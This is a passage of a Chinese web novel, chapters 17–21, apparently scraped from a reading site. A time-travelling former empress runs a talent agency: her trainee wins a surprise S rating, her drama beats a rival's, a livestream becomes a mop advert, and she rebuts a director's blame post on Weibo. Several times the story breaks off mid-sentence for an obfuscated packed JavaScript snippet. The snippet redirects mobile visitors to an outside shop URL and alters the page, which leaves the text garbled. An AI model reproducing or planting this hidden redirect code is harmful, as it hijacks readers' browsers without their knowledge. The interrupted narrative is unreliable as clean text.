评价给分？这样的人就该直接出道，还用他们来评什么价？ 冯迁掐掉麦，和导师们商议了起来。 弹幕已经开始着急： 【你们还商量啥啊，这不给A？】 【我不是专业的，但是真的感觉意犹未尽，看的时候完全没注意到时间过了多久。】 【之前的最高只给了B，这个怎么说都能A吧？现在商量的时间可能是首A的一些仪式感。】 其他练习生也有一些观众喜欢的表演，弹幕会吵为什么没给A，只有戚弥玉这里弹幕没有一个说他不应该是A的。 偶尔飘过一句其他选手的粉丝装路人吐槽【纯路人，我觉得配不上首A】，很快就被真正的路人看不下去举报了。 导师组凑在一堆讨论了好久，后来都到了请示导演的地步，令戚弥玉有些疑惑。 陛下说过，从古至今艺术形式是相通的，近期网友们更是热衷于优秀的传统文化，为什么会让这些考官儿们这么纠结？ 他从陛下的选秀起，便是所有人里才艺最出众的一个，否则以他的身世可能连嬷嬷都看不过眼，不肯让他有被选中的机会。 他认为的考官们，也就是导师们终于开口：“弥玉，你要不要猜测一下自己是什么等级？” 戚弥玉抿嘴笑了笑：“从小阿姨教导我，为人要谦虚。现在我想不谦虚一次，应该有‘币’，或是以上的等级。” “B？”冯迁无奈摇头，“你这还不叫谦虚？我跟你们舞蹈导师看到开头就互相给眼神，确定你后续不失误肯定有A。哪想到你整首表演完，我们犹豫很久，觉得你跟A不配。” 寻常人要被这样说早就急了，戚弥玉仍旧站定如同青竹，脸上没什么波澜。 冯迁举起手中的白板，上面赫然写着—— S。 18. 第18章 【？？？】 【什么东西，评级不只有ABCD和F？】 【我第一眼看中的是S级练习生！那岂不跟抽卡抽出了SSR一样！】 舞蹈导师跟冯迁一样，既是看到稀世珍宝一样的激动，又有些无奈：“你真是给我们出了个大难题。我看完你的表演，几乎可以断言没人能与你比较。如果给你A，那其他人最高也只能给B了，这样对其他人也不公平。S是节目组一早就定下的评级，只是没给大伙公布，准备到三个月录制结束，最后一轮公演的时候颁布给表现最好的那个练习生，你倒是让我们这个惊喜提前透露了。” 弹幕更是炸了锅： 【卧槽……】 【我以为我pick的练习生要走花瓶路线，没想到是大魔王剧本！】 【表演好到让节目组忍不住打破赛制，这待遇以前任何综艺都没见到过。】 冯迁接过工作人员匆忙找出的S级胸章，亲手别在戚弥玉襟前：“恭喜你，第一位S级练习生。” * 《筑梦99天》第一期节目24小时内点击量破了八千万，第二日零点直接破亿，成为引爆国内综艺的重磅炸弹。 几乎所有的娱乐博主、微博论坛，仿佛只要在网上冲浪的人，都在讨论这场全民选秀。 一天之内热搜就上了十多个，全是实打实的热度，其中有跟戚弥玉有关的tag就有四五个。 #戚弥玉唯一的S级练习生# #戚弥玉绝美舞蹈# #戚弥玉舞台被官方转发认证# #戚弥玉票数断层第一# 与此同时，观众们也没有忘掉追剧。 随着戚弥玉每次采访都不留余力地用各种方式提到《真千金》，《真千金》与《花云衣》同时播放的收视率也吹起了反击的号角。 《真千金》第五集收视率0.75%，第六集0.88%，第七集0.96%。 《花云衣》的收视率则是不断下降，伴随原著粉都渐渐懒得骂了，《花云衣》想要凭借质量来维持热度的道路彻底宣告失败，播放量已经降至0.63%，别说笑看《真千金》了，只能跟曾经粉丝最瞧不起的糊剧拼一拼播放。 冠名商和广告方通通撤资，原本粉丝假意抱怨自家剧广告好多，现在剧内真没广告了，他们才后知后觉感到悲凉。 已经没什么人去骂这部剧了，粉丝也无需去洗。它烂到没人愿意去看，无趣到那些以批判电视电影为主业的博主们都不愿做视频了。 反观《真千金》，这几日找上门来的广告方多得让严志明挑都挑不过来，好不容易选了冠名费又高质量又好的那一个，加了冠名的第二天播放到剧内最高潮的第八集，收视率直接破1，冠名商笑得合不拢嘴，又追加了几百万防止有人跟自己争。 与《筑梦99天》这种所有人看好，爆得理所当然的节目相比，《真千金》是一部令市场摸不着头脑的剧。 从剧本、导演到主演的名气，都没有一丝丝爆剧的特征。 就是这样一部剧，不知不觉地越来越占据人们的视线，越来越多能在亲朋之间聊天的时候听到《真千金》里的各种梗。 就连小蓝都被闺蜜强行拽着来追剧：“莫贝贝的新剧真的不好看——你别跟我杠！昨天我都发现你自己都把电视挂在那里，用手机追选秀了！” 出于不知名的心虚，小蓝不敢说话。 看第一集：“这拍的什么，浮夸死了，现实中哪有这种人。” 看第三集：“齐念我的宝贝女儿让我亲亲亲亲！” 看第五集：“嗯，林北意跟念念很配，我勉强同意这门婚事了。” 看第七集：“林北意你个狗男人竟然为了个国外的女人发了条信息就放念念鸽子！我杀了你！！！” 看到第八集，小蓝的眼睛就快黏在屏幕上了，对着电视隔空挥拳：“你竟敢找男的去侵犯念念，世界上真的有顾溪这种人？！” “编剧，你给我解释一下！！” 如果面前真的有个沙袋，估计要被小蓝一拳打飞。 齐念在晚上被骗去学校的废弃教学楼，不远处，几双名牌运动鞋踩过水洼，污水飞溅，染黑了她洗得发白的帆布鞋。 几个男学生一步步靠近她，齐念尖叫，用尽最快的力气奔跑，捡石子扔他们脸上，在他们眼中却如小丑一样可笑。 逃不掉了。 小蓝紧张到呼吸都要停滞了，连闺蜜偷吃了她冰箱里最后一根碎冰冰都没发现，疯狂思考齐念逃跑的办法，祈祷被她骂了几个小时的林北意能出现，履行一下男主的职责。 可惜《真千金》永远不按常理出牌，千钧一发之时，来的不是男主，而是男二顾昭。 顾昭大步跑来，冲站在一旁的顾溪艰难地说出一个消息：“溪溪，其实……齐念才是我们顾家的亲女儿。” 顾溪完全呆住了。 小蓝呆得跟她一样。 她以前哪里见过这种套路，受尽欺凌的贫穷女主与养尊处优的千金女二，身份竟然是倒过来的？ 真千金，原来一直指的都是齐念？！ “下一集呢？”画面不动了，“下一集只有预告！怎么只放了八集！” 小蓝感觉浑身有蚂蚁在爬，一刻也等不了，去搜《真千金》的播放时间。 “下一集竟然还要等三天？程青厌你是不是人，你为什么不让它天天更新！” 闺蜜弱弱地插了句嘴：“程青厌只是安排艺人去拍戏，播出时间应该不归她管。” 完全被《真千金》吸住了心神的小蓝管不了那么多，火速登上微博艾特程青厌发了几十条催更的微博。 催更的不是她一个人，小蓝刷了下首页，跟她一起追选秀的各大博主们都在催更，一个个发疯文案层出不穷。就连同追莫贝贝的粉丝们都有大半偷偷去看了《真千金》，偷偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396429|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点赞了程青厌的微博，她们还以为自己做得很隐秘不会被发现。 【我活了二十几年就是为了等到这部剧，@琦季程青厌我的意思是你再不把真千金提前播出我就死给你看。】 【我前两天还在嘲笑我爸妈岁数都多大了，还是爱看这种狗血剧。想不到我瞄了两眼，就不受控制地陪爸妈看完了全集。@琦季程青厌你不会还不放全集吧，不会吧不会吧？】 【看到大家都在发疯我就安心了，还以为疯的只有我一个。不明白怎么会有这种剧，每一集都能做到比上一集更精彩，每次我心想他们不可能再有反转了，下一秒就要打我的脸。千言万语汇成一句话，快给我更新！】 在微博上怒吼一通，她们还不过瘾，如同饿了无数天的狼一样跑去视频网站，但凡带有“真千金”“齐念顾溪”“林北意”等关键词的剪辑视频，全部留下了她们的足迹。 视频创作者们的圈子里流传出一句话：只要剪真千金的二创就能火。 无数个优质剪辑的出名，又吸引了大量之前没关注电视剧的观众，原剧与二创形成了优质的活性循环，令真心喜爱这部剧的剪刀手太太们深感欣慰，顺便再发出一波催更。 就连向来对言情剧嗤之以鼻的资深游戏少年程嘉禾，都给程青厌打电话：“姐啊，我同学天天在班上叨叨你拍的那剧为什么还不更新，我都被他们烦死了，你能快点更不？” 程青厌：“那你看了吗？” 程嘉禾说得斩钉截铁：“我当然不看这种剧了，什么在女二家里做保姆的人竟然是她亲妈，为了让自己女儿过得更好把东家和自己女儿调换了，这种东西我不感兴趣。” “不感兴趣那我不提前播了。” “别别别别！姐，其实……我也看了那么一小点，真的很想知道后续！” 顾溪自恃身份嚣张跋扈这么多年，得知自己根本不是贵族血脉得是什么脸色？顾昭会后悔没有保护好齐念吗？那些欺负过齐念的人得知她是豪门真千金该怎么跟她赔礼道歉？ 最重要的是，齐念在废弃教学楼里到底怎么样了！她知道那个差点把自己害死的人偷了自己本该拥有的人生，会怎么做！ 程青厌露出一个笑：“播出时间定好了不可能改，不过我可以给你剧透点后续。你想听跟什么有关的？” 程嘉禾差点脱口而出什么都想听，怕被姐姐骂，纠结片刻道：“想知道齐念跟林北意之后的感情会怎么发展。按理说林北意跟顾家有婚约，他都对齐念很照顾，齐念成为真千金之后，他应该是追求齐念，好好跟她谈恋爱了吧？不过这部剧有二十多集，后面都拍他们俩谈恋爱和上学吗？” “我不会投资这么无聊的东西。齐念跟林北意甜蜜不了多久，就会发现他对自己的好只是因为她长得像林北意的初恋，俗称白月光的替身。” 程嘉禾：“……” 他艰难地问：“姐你肯定是在开玩笑，对吧？” 19. 第19章 程青厌送走久久难以回神的弟弟，陶露大喜着送来捷报。 “程总，《真千金》是真的大火了！咱们当时签的分红合同，小江和明柚能分到两百万，立雪有一百四十多万。” 程青厌让他们与剧组签的合同，开拍前拿到的片酬只是最基础的，重头戏全在播出之后根据播放量和后续投资拿到的分红。 否则程青厌那会急着赚钱，以江执的资质完全可以找个挺大的剧组塞进去做个配角，拿的比这小地方多多了。 如今预期收益终于到账，程青厌笑道：“把他们都叫来，分钱！” “好嘞！” 她们公司已经招到了财务，但程青厌还是亲自将办好的银行卡一张张给他们，叮嘱道：“这些银钱都是你们凭本事赚的，是应得的，自己想怎么花就怎么花，不可以为了我省钱。” 程青厌就怕他们会觉得自己过得比以前的皇帝待遇差多了，就把钱留着给她用。 她好几次都见到连嬷嬷见她睡在出租屋主卧的“小床”后偷偷垂泪了，这要是不说清楚，他们一拿到钱就全得花在她身上：“我自己有钱，我可是你们老板，拿的钱比你们都多。” 程青厌每天兢兢业业地给自家艺人们灌输一个理念：打工人别心疼老板！ 别的不说，他们赚到这么多钱程青厌都是程青厌已经抽成过了的，真千金还没播完她已经收到了将近四百万的分红。 结果这群人是一个没听进去，一拿到卡就缠着陶露说悄悄话，让她带他们去商场挑礼物。以前只有陛下给他们赏赐，现在他们竟然能随便买东西了，那第一件东西必然要挑给陛下。 一想到终于能用自己的努力养陛下了，江执和明柚立雪几人心里就美滋滋到不行。 唯一留下的连嬷嬷，是程青厌要拉着她拍收纳视频的广告。 小公司刚起步时，老板都是一人兼任多职的。艺人们外出拍戏、录综艺，程青厌也没有一天闲着，公司没有那么多事要她处理，她就在练习摄影，了解行业内各种基本技术和新潮流新风向，一天也落下。加上大学在专业知识上的基础，她的技术可以用突飞猛进来形容。 像是连嬷嬷的视频，程青厌一开始只会最基本的录制和剪辑，现在买的相机更新迭代了，各种角度拍得细致入微，收音也能调到最令人感到解压舒适的声音，剪辑更是各种转场秀得飞起。 加之更新勤快，连嬷嬷的账号已经从几千播放量变成十万粉丝的博主了，还收到了c站寄来的奖牌。 涨粉的速度有点超出程青厌的预料，她本以为这种视频应该都是一些全职妈妈打发时间来看看，顺便学习一下，结果她一查粉丝比例，怎么是十五到三十岁区间的年轻人占了绝大部分！ 程青厌：你们这么年轻，看这种视频到底有什么企图。 她看过评论和私信，大概明白是年轻人普遍压力大，看着连嬷嬷将杂乱无章的房间里一个个东西都放置在最合理，看起来也最舒适的位置上，他们感觉自己的心灵也得到了解放。 而原本只是用来解压的视频，在他们的父母把他们赶去收拾家里的时候还派上了实际用场，粉丝们纷纷表明，有许多小技巧连爸妈都直呼学到了，一向放假回家只能挨骂的自己竟然头一次得到父母夸奖。 粉丝粘度这么大，很快就吸引了广告方，一家拖把公司来跟程青厌接洽，要她们在视频中使用品牌方推出的新款拖把，并且合理植入广告词。 这个活不难，结合粉丝们天天私信催连嬷嬷希望她能开个直播，他们想一边写作业一边听着做家务的声音，程青厌与连嬷嬷决定直播试试。 几人分别出了一笔钱，将小出租屋换成了五室三厅，全款买房。 自从明柚和立雪穿越过来，三个房间的出租屋就不够用了，江执一直是在沙发上凑合着睡。程青厌让他去剧组享受包吃包住，他死都不肯。 搬进新家，程青厌架好手机，开始了第一次直播。 她们频道主打一个舒缓解压，她就没有出镜，让连嬷嬷忽视镜头，跟以往一样专心做事就好。 她提前预告了直播时间，粉丝们也很给力，镜头一开便涌入直播间。 【教导主嬷来了！】 【哈哈哈，这是什么外号？】 【没有人觉得连嬷嬷很像教导主任吗？上次我妈看她的视频，我凑过去还以为我妈又在看什么“三十年老教师培养学霸的经验”，给我吓一跳。】 【这么一说还真是，我说怎么总感觉在哪见过连嬷嬷。她这气质跟我高中年纪主任一模一样，甚至更有压力。】 【还好连嬷嬷从来没发过火，就只是认真地收纳，很温柔。否则她眉毛一皱我就得吓得说不出话来。】 直播间聊得热火朝天，连嬷嬷做得专心致志，程青厌觉得岁月静好。 等到连嬷嬷把客厅其他部位整理干净，准备清扫地面，程青厌去门口拿甲方送来的快递拖把。 这个可不能提前拆，一定要在让连嬷嬷亲手从包装开始揭，才能最大程度吸引粉丝对产品的兴趣。 程青厌就离开客厅两分钟，再次回了就变了样。 客厅里多出来个人！ 一身素衣上绣着很有趣味的纹路，长发并未束冠，而是扎成高高的马尾。他眉眼俊俏而顾盼神飞，声音带着点稚气的甜：“陛下！” 但是这个行礼就不必了！ 程青厌还未入镜，脑子里飞速运转。 她瞬间端起了女帝架势，眉眼肃穆步履庄严地走上前去，颔首：“穆郎君起来吧。” “多谢陛下！”穆和星朗声应道，打量四周，“臣怎么到这儿来了？陛下离开的这些时日，就是在此处吗？” “不错。此地乃是锦朝一千多年后的社会，你既随朕来了，也别闲着，朕交给你一件事。” “陛下只管吩咐！”穆和星眼睛亮晶晶的，似一只许久未见主人，一见就要围着打转的小狗。 直播间弹幕被这画风突变的一幕搞晕了： 【怎么突然来了个大帅哥？而且程青厌怎么也在啊？】 【我倒是知道程青厌当老板了，没想到她还签了博主来搞直播。连嬷嬷年纪大了搞不来视频，她应该就是幕后团队吧。不过他们对话好文绉绉，搞得跟演电视剧一样。】 也有聪明人很快反应过来： 【哈哈哈这是在演小剧场吧，这帅哥演得好逼真，真的跟刚穿越过来一样。】 【这套古装好好看，爱一些高马尾少年！】 程青厌看弹幕松了口气，继续对穆和星说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396430|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “连嬷嬷正在洒扫宫殿，这里的社会有一种新的清洁工具，名为拖把。”她带着盒子把大拖把抱过来，“就是此物。你把它拆开。” 在程青厌一句一句教他拆包装，又对着说明书教他实际使用了一下。 “干净净牌智能拖把。”穆和星念出它的名字，嘴角不可抑制地勾了起来，“好好玩！” 它竟然会自己握在手上就会自己左右摆动来擦地，以前从来没见过！而且最重要的，这可是陛下亲口这么细致地教他来玩！ 弹幕没想到这竟是个广告植入，可没人喊着“快跑”“不对劲”，连眼睛都舍不得眨一下，广告词全进了耳朵。 这么一个帅哥，管他在干什么都是好看的！看到就是赚到！ 穆和星对智能摸索了一阵，很快又对房子里其他许多东西感起了兴趣。他眼睛一转程青厌就猜到他要问什么，赶紧对连嬷嬷使眼色。 程青厌举起拖把，连嬷嬷抓住穆和星一拎，三人并排站得笔直。 程青厌高声喊道：“干净净牌拖把，连刚穿过来的古人都能用！观众朋友们，还在犹豫什么，你们不心疼自家父母拖地扫地的辛苦吗，快快把干净净牌拖把带回家，让它陪父母轻松度过家务，全家人一起干净！” 弹幕被高昂的广告词和穆和星茫然的脸色笑死了： 【程青厌怎么把尴尬的词念得这么有信念感，我都真要信连刚穿过来的古人都能用了。】 【我求求演穿越剧的明星都来看这个直播，小哥哥真的把刚穿越过来的懵逼演得淋漓尽致。】 【你们还别说，我对拖把有点心动了，广告词太洗脑了。买个回家吧反正也不贵。】 【程青厌演女帝也演得很好，怎么没人夸？我仿佛看到历史上的实权皇帝来到身边，刚才紧张得呼吸都有点急，太可怕了。】 【程青厌这个演技确实值得夸，以前看她电视剧没发现演技这么好呀。】 趁着穆和星要开口之前，程青厌道：“好了朋友们，我们今天的直播就到这里，感谢大家观看，明天会在同一时间开播，大家有空记得来看，拜拜~” 接下来的几个小时，拖把销量激增。 干净净拖把只是家小牌子，好多顾客去问客服“我家有个古代人穿越来了，他用不来的话包退吗”，惊动了干净净老板。 老板对这个梗百思不得其解，点去看了连嬷嬷的直播回放目不转睛看了俩小时，才在结尾看到她们是如何打广告的。 老板大为震撼。 老板：【程总，太感谢了。我是真没想到你为我们公司付出这么多精力，我们商定广告形式的时候只是叫你们口播，你竟然还特意请了人来演绎了剧情！我们拖把销量大涨，都是你的功劳！】 老板也是个实诚人，直接发了新的合同，和连嬷嬷的账号签订长期合约来推广拖把。 当然，钱也是少不了的。 老板发了个咧着嘴笑的黄豆表情：【程总，你的创意实在是好。现在“古人穿来都会用”这句话已经成为我们产品记忆点了，准备通过年轻人打入中老年市场。我们广告部的小姑娘叫我问问你，是怎么想出这种好点子的？】 程青厌：“……” 程青厌：我说这不是想出来的，是事实，你信吗？ 20. 第20章 琦季娱乐蒸蒸日上，出演《真千金》的几人都收到了其他导演的邀约，江执甚至被国内大导演看中，请他去新电影的试镜。 而一直稳稳踩着他们上位的《花云衣》，剧组里的氛围说愁云惨淡都是轻的，所有人脸上看不到一丝轻松。 助理完全跟莫贝贝绑在一条船上，这时候还在尽力安慰她：“《真千金》的观众之前天天说男女主好配，结果第八集之后，CP粉全都销声匿迹不敢冒头，女主粉更是大喊女主独美，男主角人人喊打。哪有这样的男主角啊，贝贝姐你说好不好笑？” 莫贝贝：“滚。” 助理在这时候拿真千金的笑话安慰她，这件事本身比较像个笑话。 助理还有话得说，不能滚：“姐，公司那边……” 门被一把推开，向来装得一副好脾气的方川已然面色铁青：“莫贝贝，你知道现在我们的剧已经到什么地步了吗？” 自从《花云衣》播出两集被众人嘲讽，莫贝贝就一点不想关注这部剧的风评和收视，因此哪怕知道收视已经每况愈下，还是不清楚具体情况，有些心虚地说：“再差也不可能差到哪里去吧，毕竟我们这部剧可是大热IP。” “那IP就算热到全球变暖，也得被你搞凉！”方川厉声道，“你现在已经把我们剧害死了！收视率跌到0.5%，苹果台的制片主任都骂从来没见过哪部剧在他们电视台表现这么差！” 方川每一天看到收视率往下跌，都听到钱流走的声音。 钱赚不到也就算了，他的名声不止在网上被人骂臭了，业内也对他评价大跌！ 他从一个还算能扛起收视率的优秀导演，变成观众们心中“眼光极差”“胡乱改剧”的烦人精，只用了不到一个月时间。 他不知道自己拍出来的东西难看吗？ 演员们或许对自己演得怎么看怎么满意，可方川干这行十多年了，完全清楚自己拍的就是个四不像的烂片。 支撑他把烂片拍下去的，就是莫贝贝口中斩钉截铁的“一定会火”“无论如何裴总都会帮咱们”。 “你告诉我，裴总是怎么帮我们的？”方川再没有对莫贝贝一分的客气和讨好，“我给他打了无数个电话都石沉大海，撤了的投资一分都没有回来过。我让人去炒剧组和裴总的关系，所有词条被一夜清空。这就是你说的裴总对你有意思？！” 方川又气又恨，每晚失眠都会想到程青厌。 ——若是当时没把程青厌赶走，就按照改编的剧本老老实实拍完，哪怕裴云晋撤了资，他们的热度也不会差的。 他的名声也不至于跌落至此，这辈子再碰改编剧无望了。 他为什么偏偏就信了莫贝贝的鬼话，让这样不负责任的演员来饰演女主？莫贝贝演女二时明明表现优秀，为什么提成一番就仿佛后顾无忧似的把剧组闹得天翻地覆？ 他有一万句话要质问莫贝贝，而莫贝贝心里比他更心虚后悔。 她始终抱着自己是小说女主角，不管干什么都能成功的想法……谁知道现实完全跟小说里描述的不一样！ 裴云晋撤资也就算了，小说中这个时候他本来就对她没感情。可《花云衣》怎么都没爆！ 在剧组所有心烦的人里，莫贝贝是最慌张的那一个。 她可是跟楠唯公司签了对赌协议，让公司出钱补上部分投资，如果这部剧给公司带来的回报不如协议预期，她就只能被绑在公司做苦力了！ 莫贝贝被巨大的无力感包围，一时竟想不出任何破局的办法。 她既没有家世背景，也丧失了原著中描写的拍一部爆一部的运气，经过这部烂片的打击，她往后的发展可谓是毫无前程可言。 “方导，咱们真的没办法了吗？”莫贝贝拉下脸来求方川，“您在圈子里人脉广，能不能跟关系好的演员和导演们商量下，帮我们宣传宣传？” 这个方法方川早就想过了，可圈子里那些所谓好友，见势不妙哪里愿意跟这部剧有关系，就怕连累自身也一起被观众认为没眼光审美差。 但不知道是不是因为莫贝贝叫他想办法，他脑子里还真出现一个绝妙的主意。 这部剧是不可能救得活了，但他可以救自己。 把所有的锅都推到莫贝贝头上，这就是唯一能洗白自己的方法！ 方川心中重新燃起了希望，见莫贝贝这一面，观她神色再不复以前的自信，他已经彻底明白了莫贝贝所有跟裴云晋的关系都是在骗人。 莫贝贝已经是彻底的弃子，他不需要再顾忌什么。 丢下苦苦哀求的莫贝贝，方川开始编辑一条长微博。 * 程青厌接通电话：“裴总，有什么事吗？” “青厌，需要我把花云衣下架吗？” 程青厌：“？” 她将手机搁在肩上，双手在电脑上查看《花云衣》的收视：“这部剧现在和下架也没有多大区别了。裴总突然说这个，是花云衣剧组出了什么事？” 最后这句话是对身边的陶露说的，陶露在会议期间没来得及关注舆论动向，这会一看可了不得：“程总，方川发小作文控诉莫贝贝打着与某投资商有关系的旗号，在拍摄期间多次威胁他要换掉主演。你退圈之后，莫贝贝作为主演多次轧戏，随意改换剧本，他这个导演在剧组根本没有做主的权利，导致整部剧严重偏离最初的改编剧本和效果。他最后呼吁，请演员们更多地尊重影视本身，不要为了个人风头就不顾观众的感受。” 程青厌边听边对裴云晋说：“裴总的好意我心领了，不过不需要为我做这些事。还有别的事吗，我在开会。” 裴云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404911|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋不知该说什么，程青厌挂了电话，快速浏览了方川微博的字句。 “方川这么多年导演没白当，洗白自己和挑动观众情绪的能力很强。” 方川在长微博中给自己立的人设就是被资本胁迫的小可怜，从头到尾看似没有给自己陈情一句话，都在为了观众的体验和电视剧的质量着想，越是这样，网友们看他越是清白无辜。 网友们对于资本本能的排斥反感，关注点被他从对他能力的质疑，到对莫贝贝的种种行径的批判，最终还可以导向“资本对于影视剧拍摄的干涉”这种大话题上。 以后网友再提到他，印象不会再是不可能拍好改编剧的废物导演，而是被资本胁迫却一心向着观众敢于揭穿行业内污垢的大好人。 方川在小作文中没有提及任何人的大名，全都用的指代，“M小姐”在小作文中被多次提及。 网友也不是傻子，纷纷开始从各种蛛丝马迹中拼凑出事情的真相： 【从女配提成一番的M小姐绝对是莫贝贝，那投资商说的难道就是之前跟莫贝贝有绯闻的兴茂总裁裴云晋？】 【就是说方川现在锤莫贝贝和裴云晋有关系了？？】 【不对啊，我看方导的意思是莫贝贝跟裴云晋压根没关系，是她炒作cp，装腔作势让方导以为他们有关系，迫不得已才只能听她的。】 【我给方导道歉，之前完全误会他了，骂了好久他为什么拍出这样的烂片。原来都是有心无力，被明星和资本逼到这种地步。】 【咱们内地剧组这种完全被演员把控剧组的情况真的该改改了，还是得让导演来掌控局面啊。】 【程青厌也真的是，为什么就非要在拍摄期间退圈，难道不知道会对剧组造成多大影响吗？一点都不考虑其他人要为她的任性承担多大代价，她要是不退，一直当女主，莫贝贝一个女二再怎么作也闹不出多大的事来，不至于把整部片子毁了。】 陶露皱眉：“这些网友搞什么，怎么还批判到程总身上了？方川倒是把自己摘得干干净净，却连累程总也要挨骂。” 程青厌不由得想起她还在《花云衣》剧组里，方川是如何拍戏时打压她的演技，没拍戏时克扣她的用度。工作人员看的都是导演的风向，也跟着一起处处排挤她。 这些记忆在程青厌心里已经算是前尘往事，只要方川别再烦她，她都懒得去理。 却没想到方川真把她当成打不还手骂不还口的软柿子，在洗白自己的时候都不忘提她一嘴，让网友认为她任性退圈是《花云衣》剧组支离破碎的起点。 程青厌：【方导确实是个好人，在知道我决心退圈之前就跟我改签合同，让我不管出于什么原因不能继续拍摄都不用付违约金。】 她用自己两千万粉丝的大号转发了方川的微博，配上这句话。 21. 第21章 方川的微博涉及的热点事件和人物太多，发出来不过十几分钟评论转发都过万，飙到了热搜前十。 无数营销号、对这种事情看不下去的路人网友，对方川微博中提到的各种代称大肆批判，从莫贝贝演戏态度极差甚至仗着资本的势头逼迫调番位，饰演男主的流量小生大改剧本只为突出自己，到程青厌任性退圈，全都骂了个遍。 方川丝毫没有为程青厌在剧组受的冷待道歉的意思，让网友误以为他才是最大受害者。加之程青厌原本名声就差，在他微博中只是被提了一笔，受到的辱骂就跟莫贝贝不相上下。 论坛里瞬间起了无数高楼，把《花云衣》从开机到现在的各种古怪现象扒了个遍。 然而程青厌的转发一出，所有讨论得热火朝天的帖子里都沉默了几秒。 随即便是新一轮的回复数爆发式增长。 【什么情况什么情况？！程青厌这句话什么意思？】 【在她决心退圈之前就改签合同？是不是方川在逼她离开剧组啊？】 【等我从头捋一下，目前已知莫贝贝仗着跟裴云晋炒cp，兴茂那边没有反驳的动静，骗方川把自己提成一番。但是我们以为这件事是发生在程青厌退圈之后，难道其实是在程青厌退圈前方川就准备提莫贝贝番位了？】 【楼上，你应该真相了。我已经在匿名区看到有《花云衣》的工作人员爆料剧组各种冷暴力排挤程青厌，大家现在都怀疑程青厌是不是被方川和莫贝贝逼着退圈的。】 程青厌自己的微博底下更是热闹，除了粉丝在疯狂流泪以外，其余都是路人循着瓜的味道赶来。 网友们对程青厌的态度很两极分化，爱她的爱到她退圈这么久还天天发私信诉说思念，恨她的则完全不相信她的回应，问起来就是一句话：拿出证据来。 【谁不知道程青厌最能无理取闹，你在这模棱两可地说句话我们就会被你挑拨？】 程青厌早就准备好了，将合同的照片回复过去。 合同上时间清清楚楚，是她宣布退圈的两个星期前签订的。 一直叫着她不放证据就是心虚的网友再也没了声。 小作文并不是只有方川会写，程青厌在古代常常发面对天下人的文章，对这种东西再熟悉不过。 很快，她发了一篇长微博： 【针对方川导演和各种网友关于我退圈的争议，我想统一回复一下，也把事情说清楚。 方导或许在编剧上不那么精通，却很会写文章，春秋笔法学得很好。关于方导的微博中，“C女士忽然消失，所有联系方式都被拉黑，令我们措手不及，M小姐提出投资商很希望她能够成为一番。我最初是不肯答应的，她跟女主角人设完全不符，强行演绎只会让整部剧变得更混乱。无奈M小姐竟然搬出她与投资商有恋爱关系，如果不答应她的要求，剧组将面临巨额撤资。”这段描述运用了蒙太奇的手法，每件事说得都没错，只是打乱了时间线，很能蒙骗不知情的人。方导要是真的这么义正严词，请回答我以下问题： 一、为什么我在剧组期间，你多次对我进行无理由NG以及言语上的辱骂？并且鼓动剧组工作人员集体孤立我，对我进行各种形式的冷暴力？ 二、你为什么在投资商探班剧组第二天就提出更改我的合同，把条款改为我可以无条件离开剧组，不需要付出任何代价？这样的合同是任何一个剧组导演都不会轻易签的。 三、关于如果不将“M小姐”提为一番，就会面临撤资这件事，你有任何证据能表明真实性吗？否则我无法确定是确有其事，只是你打乱了时间顺序想要将所有责任推在我身上，还是整件事都是你编造出来的。 最后，我退圈是个人突然的决定，但并不如方导所说令《花云衣》剧组措手不及。方导早在一个月前就单独找到我说过只要我想离开剧组，不管什么原因，都没有问题，叫我千万不要为此感到愧疚。 方导，这句话，现在你还认吗？】 程青厌长文回应，让本就紧绷的服务器更加摇摇欲坠，程序员一看到刷出来的红点就是眼前一黑。 “今晚别想睡了！” 程序员的哀嚎也是网友们激动的心声，他们早在程青厌微博里刷新了无数次，刷到这么长一条新微博，话都来不及说就读过去。 别的不说，首先感慨的是：“好久没看过这么条理清晰的瓜了……” 结构完整，分列清晰，竟然看一遍就看得懂，不需要一字一句看个三五遍还得等博主来给他们分析。 得益于大家能一看就懂，传播力度比那些模糊不清的瓜还要更快，有关于程青厌的热搜词条正在飞速上升，每一秒都有无数条评论弹出。 #程青厌被剧组冷暴力# #方川更改合同# #程青厌合同规定可以无理由离开剧组# #方川混淆时间线# 短短几个小时，方川的形象从废物导演变成受资本压迫的小可怜，又一百八十度转弯变身为深谙娱乐圈潜规则的黑心导演。 方川已是站在风口浪尖上，琦季公司外铺满了记者，想要争夺最热点的流量。 方川耳边响着数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 